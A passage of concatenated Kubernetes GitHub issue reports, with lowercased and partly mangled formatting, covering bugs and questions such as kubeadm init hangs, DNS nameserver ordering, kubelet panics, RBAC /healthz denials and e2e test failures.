action:\ \ , related:  v1.objectreference  nil , reportingcontroller:\ \ , reportinginstance:\ \ }': 'events \ centos-4.k8s.com.150bc9f44190cb0a\  is forbidden: not yet ready to handle request'  will not retry! \r jan 21 09:45:24 centos-4.k8s.com kubelet 4857 : i0121 09:45:24.340531    4857 kubelet_node_status.go:273  setting node annotation to enable volume controller attach/detach\r jan 21 09:45:31 centos-4.k8s.com kubelet 4857 : e0121 09:45:30.632510    4857 eviction_manager.go:238  eviction manager: unexpected err: failed to get node info: node \ centos-4.k8s.com\  not found\r jan 21 09:45:38 centos-4.k8s.com kubelet 4857 : w0121 09:45:38.114159    4857 cni.go:171  unable to update cni config: no networks found in /etc/cni/net.d\r jan 21 09:45:38 centos-4.k8s.com kubelet 4857 : i0121 09:45:38.209237    4857 kubelet_node_status.go:273  setting node annotation to enable volume controller attach/detach\r jan 21 09:45:38 centos-4.k8s.com kubelet 4857 : e0121 09:45:38.243752    4857 kubelet.go:2105  container runtime network not ready: networkready=false reason:networkpluginnotready message:docker: network plugin is not ready: cni config uninitialized\r jan 21 09:45:38 centos-4.k8s.com kubelet 4857 : i0121 09:45:38.486750    4857 kubelet_node_status.go:82  attempting to register node centos-4.k8s.com\r jan 21 09:45:45 centos-4.k8s.com kubelet 4857 : e0121 09:45:45.544591    4857 eviction_manager.go:238  eviction manager: unexpected err: failed to get node info: node \ centos-4.k8s.com\  not found\r \r   what you expected to happen  : kubeadm init should complete\r \r   how to reproduce it  as minimally and precisely as possible   : esx vm with centos 7.3 and kubeadm 1.9.2\r \r \r   anything else we need to know?  : kubelet is working but kubeadm is not completing.\r \r   environment  :  centos 7.3 on esx vm, docker 1.12.6\r - kubernetes version  use  kubectl version  :kubectl version\r client version: version.info{major:\ 1\ , minor:\ 9\ , gitversion:\ v1.9.2\ , gitcommit:\ 5fa2db2bd46ac79e5e00a4e6ed24191080aa463b\ , gittreestate:\ clean\ , builddate:\ 2018-01-18t10:09:24z\ , goversion:\ go1.9.2\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r the connection to the server localhost:8080 was refused - did you specify the right host or port?\r - cloud provider or hardware configuration: esx vm\r - os  e.g. from /etc/os-release :centos linux release 7.3.1611  core \r - kernel  e.g.  uname -a  :linux centos-4.k8s.com 3.10.0-514.26.2.el7.x86_64  1 smp tue jul 4 15:04:05 utc 2017 x86_64 x86_64 x86_64 gnu/linux\r - install tools: kubeadm\r - others: system doesn't have internet access, proxy access only. \r

is this a bug report or feature request?  : bug report\r \r  \r \r   what happened  : applying a file that has no changes compared to current will output something like  configmap \ test\  unchanged , which muddles the output when using  -o yaml \r \r   what you expected to happen  : using the -o flag should suppress the unchanged messages in stdout to prevent output from being muddled\r \r   how to reproduce it  as minimally and precisely as possible   : given the file test.yaml:\r    \r kind: configmap\r apiversion: v1\r metadata:\r   name: test\r data:\r   key1: apple\r    \r  kubectl apply -f test.yaml -o yaml  will result in proper yaml being generated as expected\r run again, and  configmap \ test\  unchanged  is outputted to stdout, and is invalid yaml\r \r   anything else we need to know?  : i do need to check whether this still affects the most recent version kubectl\r \r   environment  :\r - kubernetes version  use  kubectl version  : 1.8.6\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  : darwin\r - install tools:\r - others:\r

is this a bug report or feature request?  :\r \r   \r \r   what happened  :\r \r i've had  this change  https://github.com/kubernetes/kubernetes/pull/55971   5 character change  bounce around through being retested / hitting test flakes for nearly   5 months now  .\r \r   what you expected to happen  :\r \r i expect it to be merged, there's a \ lgtm\  and at numerous times it has passed tests.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r 🤔 \r \r   anything else we need to know?  :\r \r i'm very sorry for abusing the issue tracker for this, i'm just a tad bit frustrated with my contribution experience here :

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line: \r >\r >  \r   what happened  :\r pod become unschedulable  and never come up or raise a new one only if we kill the  unschedulable   pod\r  root@master1 ~   kubectl get po\r name                                  ready     status          restarts   age\r go-653831134-3q13m              0/1       unschedulable   0          1d\r   what you expected to happen  :\r a new pod come up or the pod do not become unshedulable.\r   how to reproduce it  as minimally and precisely as possible   :\r 1.  create a pod\r 2. set the node where the pod schedulered to   unschedulable \r 3. restart the kubelet\r 4. set the node where the pod schedulered to  schedulable again. the pod \r \r   anything else we need to know?  :\r in our environment, we want to do kubelet upgrade means  replace and restart the kubelet   without pod eviction, so we set the controller-manager eviction-timeout a little bit longer than replacement time. and we don't want new pod to be scheduled to the  upgrading  status node, so we set the node unschedulable during the kubelet replacement and recover it after the replacement.  then it comes up the old pod was rejected by the kubelet because the node was unshedulable at that time. so i wonder if  kubelet can find out a way to know whether the pod is a new scheduled one or a existed one,  and treated it in a different way. is it resonable?\r   environment  :\r - kubernetes version  use  kubectl version  : 1.7.4\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release : centos\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

hello,\r \r my main goal is to use a nfs directory that it will be used as write from one pod and read from another pod. i have two nfs pvs, one of them is as read-only, as shown below:\r \r ==========\r apiversion: v1\r kind: persistentvolume\r metadata:\r   name: pv0 \r spec:\r   capacity:\r     storage: 50mi \r   accessmodes:\r     - readonlymany  \r   persistentvolumereclaimpolicy: retain \r   nfs: \r     path: /vol/test_k8s\r     server: 192.168.150.252\r     readonly: true\r \r ---\r apiversion: v1\r kind: persistentvolume\r metadata:\r   name: pv1 \r spec:\r   capacity:\r     storage: 50mi \r   accessmodes:\r     - readwriteonce \r   persistentvolumereclaimpolicy: retain \r   nfs: \r     path: /vol/test_k8s\r     server: 192.168.150.252\r ============\r \r my problem is that the read-only is not acting as read-only. so, i don't know whether i am doing something wrong or there no way of doing what i want.

<!-- please use this template while reporting a bug and provide as much info as possible. not doing so may result in your bug not being addressed in a timely manner. thanks!\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/\r -->\r \r \r   what happened  :\r i ran  make all gogcflags=\ -n -l\   to build latest kubernetes source code, and then i see the binaries are still stripped:\r    \r $ file _output/bin/kubelet \r _output/bin/kubelet: elf 64-bit lsb executable, x86-64, version 1  sysv , dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for gnu/linux 3.2.0, buildid sha1 =715f57807e652488c5e086b82f5daf4063a74b04, stripped\r    \r \r and i can not use dlv to debug the binary:\r    \r $ dlv exec _output/bin/kubelet                          \r could not launch process: could not open debug info\r    \r \r in makefile, i see the following comments:\r    \r     make all gogcflags=\ -n -l\ \r       note: use the -n -l options to disable compiler optimizations an inlining.\r             using these build options allows you to subsequently use source\r             debugging tools like delve.\r    \r but that seems not correct in my build.\r \r   what you expected to happen  :\r i expected kubernetes binaries with debug info.\r \r   how to reproduce it  as minimally and precisely as possible   :\r  make all gogcflags=\ -n -l\  \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  : latest kubernetes source code.\r - cloud provider or hardware configuration: a virtual machine with 2 cores and 8gb ram.\r - os  e.g:  cat /etc/os-release  : 18.04 lts  bionic beaver \r - kernel  e.g.  uname -a  : linux workstation 4.15.0-23-generic  25-ubuntu smp wed may 23 18:02:16 utc 2018 x86_64 x86_64 x86_64 gnu/linux\r - install tools:\r - network plugin and version  if this is a network-related bug :\r - others:\r

what happened  :\r tl;dr: pods seem to be querying dns servers in /etc/resolv.conf in random or round-robin order instead of sequentially, as they are supposed to.\r \r long version:\r so the root of all of this is the dnat race condition outlined in detail here: https://github.com/kubernetes/kubernetes/issues/56903\r one of the recommended solutions is to run node-local dns to prevent the race condition. however, if you go down that path its recommended to have a backup dns in case the local dns pod fails.  in my case i'm trying to run a node-local coredns daemonset available on 192.168.0.10, and the cluster standard dns server  in our case also coredns  as a backup at 100.64.0.10.  i'm using kops for deployment, so i've simply added:\r    \r   kubelet:\r     clusterdns: 192.168.0.10,100.64.0.10\r    \r to the cluster spec.  that part appears to work since when i  kubectl exec  into a cluster and  cat /etc/resolv.conf  i get:\r    \r   cat /etc/resolv.conf\r nameserver 192.168.0.10\r nameserver 100.64.0.10\r search kube-system.svc.cluster.local svc.cluster.local cluster.local us-west-2.compute.internal\r options ndots:5\r    \r everything looks good.  but i have a few simple cronjobs that run every minute and just perform various  dig  calls.  when i look at the logs from these jobs, it's clear that its still using   both   node-local and cluster dns to resolve names:\r ! image  https://user-images.githubusercontent.com/15616541/58057206-59120080-7b21-11e9-84d8-b343a9e8ec15.png \r theres a picture of logs from an alpine container running dig.  you can see the  server  log line clearly is using both local dns  192.168.0.10  and cluster dns  100.64.0.10 , and at a substantial rate - about 25% of the time.  it's similar with an ubuntu-based image:\r ! image  https://user-images.githubusercontent.com/15616541/58057321-ae4e1200-7b21-11e9-894e-ea1fc27d6e21.png \r ubuntu is all the way up at 35%. i would expect local dns  192.168.0.10  to be 99%+ and cluster dns  100.64.0.10  to be <1% since local dns should   always   be queried first and only cluster dns if local is unreachable.\r \r the man page for /etc/resolv.conf  http://man7.org/linux/man-pages/man5/resolv.conf.5.html  clearly states that:\r  if there are multiple servers, the resolver library queries them in the order listed \r but that is not happening here.  unfortunately it seems i'm stuck... the only way to get rid of all the dns timeouts is to completely remove cluster dns from the kubelet config. so it appears i have to choose between a highly available dns solution  with timeouts  or a local dns solution  without high availability .\r \r what's concerning is that it appears that the containers aren't respecting the intended design of /etc/resolv.conf with respect to nameserver ordering. and unfortunately there are so many layers here that i don't know if its a library issue  glibc vs musl , linux kernel issue, kubernetes issue or kops issue. if anybody has any insight on this it would be appreciated.\r \r   what you expected to happen  :\r pods to query dns servers in the order listed in /etc/resolv.conf\r \r   how to reproduce it  as minimally and precisely as possible   :\r configure cluster with multiple dns servers in kubelet and perform  dig  lookups.\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r    \r client version: version.info{major:\ 1\ , minor:\ 11\ , gitversion:\ v1.11.0\ , gitcommit:\ 91e7b4fd31fcd3d5f436da26c980becec37ceefe\ , gittreestate:\ clean\ , builddate:\ 2018-06-27t20:17:28z\ , goversion:\ go1.10.2\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 11\ , gitversion:\ v1.11.9\ , gitcommit:\ 16236ce91790d4c75b79f6ce96841db1c843e7d2\ , gittreestate:\ clean\ , builddate:\ 2019-03-25t06:30:48z\ , goversion:\ go1.10.8\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r - cloud provider or hardware configuration:\r aws\r - os  e.g:  cat /etc/os-release  :\r using kops debian-stretch image:\r    \r pretty_name=\ debian gnu/linux 9  stretch \ \r name=\ debian gnu/linux\ \r version_id=\ 9\ \r version=\ 9  stretch \ \r id=debian\r home_url=\ https://www.debian.org/\ \r support_url=\ https://www.debian.org/support\ \r bug_report_url=\ https://bugs.debian.org/\ \r    \r - kernel  e.g.  uname -a  :\r  linux ip-172-20-52-21 4.9.0-9-amd64  1 smp debian 4.9.168-1  2019-04-12  x86_64 gnu/linux \r - install tools: \r kops v. 1.11.1\r - network plugin and version  if this is a network-related bug : \r weave  weaveworks/weave-npc:2.5.0 \r - others:\r \r @kubernetes/sig-network-bugs

a container's memory limit is implemented by setting  /sys/fs/cgroup/memory/$cgroup_path/memory.limit_in_bytes .  in order for a vertical pod autoscaler   10782  or a human to set a memory limit accurately, an accurate measurement of memory usage is needed.  \ needed\  is not the same as \ usage\ .  we want to use \ needed\  so that, for example, we don't count pages that were read at startup but aren't needed anymore, but haven't been freed because there happened to be no memory pressure on the machine.  currently, we use cadvisor to tell us this \ needed\  number, which cadvisor calls \ memorystats.workingset\ .    cadvisor gets this from  memory.stat , and in particular it subtracts  total_inactive_anon  and  total_inactive_file  from the total usage,  here  https://github.com/google/cadvisor/blob/4a9a57cdd061e241a974602009f26729f719a862/container/libcontainer/helpers.go l191 .  this is good, but it has some problems.

our auditing system needs to be aware of the image id for each container. use cases: our applications  built on c++  and sometimes the code composed with another code exposes different services. in case of error  for example core dump  we need to infer which specific images is misbehaving.  @thockin @pmorie @lhuard1a

captured from: https://github.com/kubernetes/kubernetes/pull/28195 issuecomment-229441908  the below is my best guess:  the  pkg/kubelet/network/defaultinterfacename  const of  eth0  is used by various container networking pieces to assume / work with the default interface within a container. this assumption, that within a container the interface is  eth0 , is generally true and so works.  cc'd people below; is this true?   however,  kubelet/server/stats/summary  also uses this to determine what interface on the host should be looked at when examining node network stats, and predictable network naming under systemd results in that failing.  if it's a node stat we should perhaps just use all non-lo network interfaces for the stat? maybe there's a better answer?   open questions: 1  is the assumption of eth0 always right for containers  probably ? 2  do we want to determine the default interface / subset of interfaces to use for node network stats in some smart way?  cc @vishh @timstclair  cc @steveej @dcbw @freehan if any of you have knowledge / opinion on this

<!-- thanks for filing an issue! before hitting the button, please answer these questions.-->\r \r   is this a request for help?  \r \r no\r \r   what keywords did you search in kubernetes issues before filing this one?  \r \r panic, findandremovedeletedpods\r \r ---\r \r   is this a bug report or feature request?  \r \r bug report\r \r   kubernetes version    use  kubectl version  : 1.5.1\r \r \r   environment  :\r -   cloud provider or hardware configuration  : gke\r -   os    e.g. from /etc/os-release : gci 56  8938.0.0 \r -   kernel    e.g.  uname -a  :  linux gke-xxx 4.4.21+  1 smp thu oct 27 02:50:36 pdt 2016 x86_64 intel r  xeon r  cpu @ 2.30ghz genuineintel gnu/linux \r -   install tools  :\r -   others  :\r \r \r   what happened  :\r \r i created a pod and it went into the failed state. i couldn't find any info about the failure, so i logged into the gke node and ran \ journalctl -u kubelet\  and saw:\r \r    \r dec 29 20:20:04 gke-xxx kubelet 1654 : i1229 20:20:04.906839    1654 kubelet.go:1816  syncloop  pleg : \ restore-bigeasy-02-b_grosskur cfb7edba-ce03-11e6-9c17-42010af00156 \ , event: &pleg.podlifecycleevent{id:\ cfb7edba-ce03-11e6-9c17-42010af00156\ , type:\ containerdied\ , data:\ 8a12a6c754e5cc7c7efe826a5af5d7376ec5557bb0648a5abe830a57c1843027\ }\r dec 29 20:20:04 gke-xxx kubelet 1654 : i1229 20:20:04.968938    1654 operation_executor.go:917  mountvolume.setup succeeded for volume \ kubernetes.io/secret/cfb7edba-ce03-11e6-9c17-42010af00156-default-token-5llx5\   spec.name: \ default-token-5llx5\   pod \ cfb7edba-ce03-11e6-9c17-42010af00156\   uid: \ cfb7edba-ce03-11e6-9c17-42010af00156\  .\r dec 29 20:20:05 gke-xxx kubelet 1654 : i1229 20:20:05.087282    1654 conversion.go:134  failed to handle multiple devices for container. skipping filesystem stats\r dec 29 20:20:05 gke-xxx kubelet 1654 : i1229 20:20:05.087316    1654 conversion.go:134  failed to handle multiple devices for container. skipping filesystem stats\r dec 29 20:20:05 gke-xxx kubelet 1654 : i1229 20:20:05.093216    1654 server.go:740  get /stats/summary/:  6.167919ms  200   go-http-client/1.1  10.52.6.7:42062 \r dec 29 20:20:05 gke-xxx kubelet 1654 : i1229 20:20:05.917924    1654 kubelet.go:1816  syncloop  pleg : \ restore-bigeasy-02-b_grosskur cfb7edba-ce03-11e6-9c17-42010af00156 \ , event: &pleg.podlifecycleevent{id:\ cfb7edba-ce03-11e6-9c17-42010af00156\ , type:\ containerstarted\ , data:\ c1221640498373252af613914b3df52f0ebf867c78916a7e2c970296d2f98966\ }\r dec 29 20:20:05 gke-xxx kubelet 1654 : i1229 20:20:05.972091    1654 operation_executor.go:917  mountvolume.setup succeeded for volume \ kubernetes.io/secret/cfb7edba-ce03-11e6-9c17-42010af00156-default-token-5llx5\   spec.name: \ default-token-5llx5\   pod \ cfb7edba-ce03-11e6-9c17-42010af00156\   uid: \ cfb7edba-ce03-11e6-9c17-42010af00156\  .\r dec 29 20:20:06 gke-xxx kubelet 1654 : i1229 20:20:06.928592    1654 kubelet.go:1816  syncloop  pleg : \ restore-bigeasy-02-b_grosskur cfb7edba-ce03-11e6-9c17-42010af00156 \ , event: &pleg.podlifecycleevent{id:\ cfb7edba-ce03-11e6-9c17-42010af00156\ , type:\ containerdied\ , data:\ c1221640498373252af613914b3df52f0ebf867c78916a7e2c970296d2f98966\ }\r dec 29 20:20:06 gke-xxx kubelet 1654 : e1229 20:20:06.949922    1654 runtime.go:64  observed a panic: \ invalid memory address or nil pointer dereference\   runtime error: invalid memory address or nil pointer dereference \r dec 29 20:20:06 gke-xxx kubelet 1654 : /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/util/runtime/runtime.go:70\r dec 29 20:20:06 gke-xxx kubelet 1654 : /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/util/runtime/runtime.go:63\r dec 29 20:20:06 gke-xxx kubelet 1654 : /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/util/runtime/runtime.go:49\r dec 29 20:20:06 gke-xxx kubelet 1654 : /usr/local/go/src/runtime/asm_amd64.s:479\r dec 29 20:20:06 gke-xxx kubelet 1654 : /usr/local/go/src/runtime/panic.go:458\r dec 29 20:20:06 gke-xxx kubelet 1654 : /usr/local/go/src/runtime/panic.go:62\r dec 29 20:20:06 gke-xxx kubelet 1654 : /usr/local/go/src/runtime/sigpanic_unix.go:24\r dec 29 20:20:06 gke-xxx kubelet 1654 : /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/kubelet/volumemanager/populator/desired_state_of_world_populator.go:163\r dec 29 20:20:06 gke-xxx kubelet 1654 : /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/kubelet/volumemanager/populator/desired_state_of_world_populator.go:128\r dec 29 20:20:06 gke-xxx kubelet 1654 : /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/util/wait/wait.go:96\r dec 29 20:20:06 gke-xxx kubelet 1654 : /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/util/wait/wait.go:97\r dec 29 20:20:06 gke-xxx kubelet 1654 : /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/util/wait/wait.go:52\r dec 29 20:20:06 gke-xxx kubelet 1654 : /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/kubelet/volumemanager/populator/desired_state_of_world_populator.go:102\r dec 29 20:20:06 gke-xxx kubelet 1654 : /usr/local/go/src/runtime/asm_amd64.s:2086\r dec 29 20:20:06 gke-xxx kubelet 1654 : i1229 20:20:06.975942    1654 operation_executor.go:917  mountvolume.setup succeeded for volume \ kubernetes.io/secret/cfb7edba-ce03-11e6-9c17-42010af00156-default-token-5llx5\   spec.name: \ default-token-5llx5\   pod \ cfb7edba-ce03-11e6-9c17-42010af00156\   uid: \ cfb7edba-ce03-11e6-9c17-42010af00156\  .\r dec 29 20:20:07 gke-xxx kubelet 1654 : e1229 20:20:07.050393    1654 runtime.go:64  observed a panic: \ invalid memory address or nil pointer dereference\   runtime error: invalid memory address or nil pointer dereference \r dec 29 20:20:07 gke-xxx kubelet 1654 : /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/util/runtime/runtime.go:70\r dec 29 20:20:07 gke-xxx kubelet 1654 : /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/util/runtime/runtime.go:63\r dec 29 20:20:07 gke-xxx kubelet 1654 : /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/util/runtime/runtime.go:49\r dec 29 20:20:07 gke-xxx kubelet 1654 : /usr/local/go/src/runtime/asm_amd64.s:479\r dec 29 20:20:07 gke-xxx kubelet 1654 : /usr/local/go/src/runtime/panic.go:458\r dec 29 20:20:07 gke-xxx kubelet 1654 : /usr/local/go/src/runtime/panic.go:62\r dec 29 20:20:07 gke-xxx kubelet 1654 : /usr/local/go/src/runtime/sigpanic_unix.go:24\r dec 29 20:20:07 gke-xxx kubelet 1654 : /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/kubelet/volumemanager/populator/desired_state_of_world_populator.go:163\r dec 29 20:20:07 gke-xxx kubelet 1654 : /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/kubelet/volumemanager/populator/desired_state_of_world_populator.go:128\r dec 29 20:20:07 gke-xxx kubelet 1654 : /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/util/wait/wait.go:96\r dec 29 20:20:07 gke-xxx kubelet 1654 : /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/util/wait/wait.go:97\r dec 29 20:20:07 gke-xxx kubelet 1654 : /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/util/wait/wait.go:52\r dec 29 20:20:07 gke-xxx kubelet 1654 : /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/kubelet/volumemanager/populator/desired_state_of_world_populator.go:102\r dec 29 20:20:07 gke-xxx kubelet 1654 : /usr/local/go/src/runtime/asm_amd64.s:2086\r    \r \r when i tail the log, the  invalid memory address or nil pointer dereference  error messages continue indefinitely with multiple messages printed every second.\r \r digging into  pkg/kubelet/volumemanager/populator/desired_state_of_world_populator.go l163  https://github.com/kubernetes/kubernetes/blob/v1.5.1/pkg/kubelet/volumemanager/populator/desired_state_of_world_populator.go l163  i see:\r \r    \r if  volume.emptydir == nil || volume.emptydir.medium != api.storagemediummemory  &&\r    \r \r so i'm wondering if perhaps there is a bug where  volume  is  nil  in some cases.\r \r   what you expected to happen  :\r \r i did not expect to see the kublet log full of \ invalid memory address or nil pointer dereference\  errors.\r \r   how to reproduce it    as minimally and precisely as possible :\r \r sorry, i don't have a good way to reproduce this error.\r \r   anything else do we need to know  :\r \r i'm running several pods, each with a gce persistent disk mounted. when the pods finish, i run a different set of pods that mount the same persistent disks. i've seen various issues in past k8s versions where persistent disks don't get detached and reattached properly across k8s nodes, but so far with 1.5.1 it seems to have been working well up until now.

what keywords did you search in kubernetes issues before filing this one?  : rbac, healthz\r \r ---\r \r   is this a bug report or feature request?  : bug report\r \r   kubernetes version    use  kubectl version  :\r \r    console\r > ./cluster/kubectl.sh version                        \r client version: version.info{major:\ 1\ , minor:\ 6+\ , gitversion:\ v1.6.0-alpha.0.2397+1bfd4f0a717151\ , gitcommit:\ 1bfd4f0a7171513db69d2344d997df7f34ce9ee0\ , gittreestate:\ clean\ , builddate:\ 2017-01-05t23:07:04z\ , goversion:\ go1.7.4\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 6+\ , gitversion:\ v1.6.0-alpha.0.2843+8ef690251641b7\ , gitcommit:\ 8ef690251641b7df6749f67abff86fa01c10b070\ , gittreestate:\ clean\ , builddate:\ 2017-01-05t20:47:37z\ , goversion:\ go1.7.4\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r \r \r   environment  :\r -   cloud provider or hardware configuration  : gce\r \r   what happened  : i manually upgraded a cluster and it hung forever trying to curl /healthz. the response that comes back is 403  forbidden .\r \r it seems that the admin role account does not have access to curl /healthz. the same exact bearer token could curl /api and /api/v1.\r \r   what you expected to happen  : i expected to get a 200  success  response.\r \r \r   how to reproduce it    as minimally and precisely as possible : turn up a 1.6 cluster and curl healthz.\r \r    console\r > curl --insecure -h \ authorization: bearer <admin token>\  --max-time 5 --fail https://<ip address>/healthz\r curl:  22  the requested url returned error: 403 forbidden\r    \r \r \r   anything else do we need to know  :\r \r currently causing failures in suites like https://k8s-gubernator.appspot.com/builds/kubernetes-jenkins/logs/ci-kubernetes-e2e-gce-gci-latest-1.4-gci-latest-upgrade-cluster-new/\r \r cc @kubernetes/sig-auth-misc @cjcullen @liggitt to help triage

as per the doc: https://github.com/kubernetes/kubernetes/blob/master/docs/design/taint-toleration-dedicated.md, it says: \ ..or to give all pods that require gpus access to gpu nodes, an admission controller would add the toleration for gpu taints to pods that request the gpu resource....\  .\r \r as per my understanding if a pod has a toleration for gpu resource, but there is no node in the cluster that is tainted for gpu resource, then the pod should not scheduled at all.\r \r however, i did a test on a simple cluster with one node, where the node did not have any taint, but i created a pod with a tolerations: key1=value1:noschedule and i found that the pod gets scheduled on the node.  is this working as expected? as per my understanding, the pod should not have been scheduled on the node, so is my understanding incorrect?\r \r @kubernetes/sig-scheduling-misc

https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-kops-aws/5460/ multiple broken tests:  failed:  k8s.io  projected should provide container's memory limit  conformance   volume  {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/common/projected.go:935 wait for pod \ downwardapi-volume-223fae58-0a18-11e7-8541-0242ac110004\  to disappear expected success, but got an error:     < errors.errorstring | 0xc4204589e0>: {         s: \ timed out waiting for the condition\ ,     }     timed out waiting for the condition /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/framework/pods.go:148       failed:  k8s.io  sysctls should not launch unsafe, but not explicitly enabled sysctls on the node {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/common/sysctl.go:208 expected error:     < errors.errorstring | 0xc4203f2a10>: {         s: \ timed out waiting for the condition\ ,     }     timed out waiting for the condition not to have occurred /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/common/sysctl.go:200       failed:  k8s.io  services should serve a basic endpoint from pods  conformance  {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/service.go:131 mar 16 00:15:00.677: timed out waiting for service endpoint-test2 in namespace e2e-tests-services-c2r5t to expose endpoints map pod1: 80    1m0s elapsed  /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/framework/service_util.go:1028     issues about this test specifically:  26678  29318   failed:  k8s.io  networking  k8s.io  granular checks: pods should function for node-pod communication: http  conformance  {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/common/networking.go:52 expected error:     < errors.errorstring | 0xc42047a9a0>: {         s: \ timed out waiting for the condition\ ,     }     timed out waiting for the condition not to have occurred /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/framework/networking_utils.go:550     issues about this test specifically:  33631  33995  34970   failed:  k8s.io  kubectl client  k8s.io  simple pod should return command exit codes {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/kubectl.go:508 expected error:     <exec.codeexiterror>: {         err: {             s: \ error running &{/workspace/kubernetes/platforms/linux/amd64/kubectl  kubectl --server=https://api.e2e-kops-aws.test-aws.k8s.io --kubeconfig=/tmp/kops-kubecfg191257083 --namespace=e2e-tests-kubectl-mljcm run -i --image=gcr.io/google_containers/busybox:1.24 --restart=onfailure failure-2 -- /bin/sh -c cat && exit 42      0xc4212d3500  error: watch closed before until timeout\     <nil> 0xc420d9ab70 exit status 1 <nil> <nil> true  0xc42003dd40 0xc42003dd68 0xc42003dd78   0xc42003dd40 0xc42003dd68 0xc42003dd78   0xc42003dd48 0xc42003dd60 0xc42003dd70   0xc34f00 0xc35000 0xc35000  0xc420b290e0 <nil>}:\ command stdout:\ \ stderr:\ error: watch closed before until timeout\ \ error:\ exit status 1\ \ ,         },         code: 1,     }     error running &{/workspace/kubernetes/platforms/linux/amd64/kubectl  kubectl --server=https://api.e2e-kops-aws.test-aws.k8s.io --kubeconfig=/tmp/kops-kubecfg191257083 --namespace=e2e-tests-kubectl-mljcm run -i --image=gcr.io/google_containers/busybox:1.24 --restart=onfailure failure-2 -- /bin/sh -c cat && exit 42      0xc4212d3500  error: watch closed before until timeout         <nil> 0xc420d9ab70 exit status 1 <nil> <nil> true  0xc42003dd40 0xc42003dd68 0xc42003dd78   0xc42003dd40 0xc42003dd68 0xc42003dd78   0xc42003dd48 0xc42003dd60 0xc42003dd70   0xc34f00 0xc35000 0xc35000  0xc420b290e0 <nil>}:     command stdout:          stderr:     error: watch closed before until timeout          error:     exit status 1      not to have occurred /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/kubectl.go:494     issues about this test specifically:  31151  35586   failed:  k8s.io  downward api volume should provide container's memory request  conformance   volume  {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/common/downwardapi_volume.go:190 wait for pod \ downwardapi-volume-32f97f2b-0a18-11e7-be91-0242ac110004\  to disappear expected success, but got an error:     < errors.errorstring | 0xc4203d9f70>: {         s: \ timed out waiting for the condition\ ,     }     timed out waiting for the condition /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/framework/pods.go:148       failed:  k8s.io  kubectl client  k8s.io  guestbook application should create and stop a working application  conformance  {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/kubectl.go:373 expected error:     < errors.errorstring | 0xc421044100>: {         s: \ timeout while waiting for pods with labels \\\ app=guestbook,tier=frontend\\\  to be running\ ,     }     timeout while waiting for pods with labels \ app=guestbook,tier=frontend\  to be running not to have occurred /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/kubectl.go:1673     issues about this test specifically:  26175  26846  27334  28293  29149  31884  33672  34774   failed: 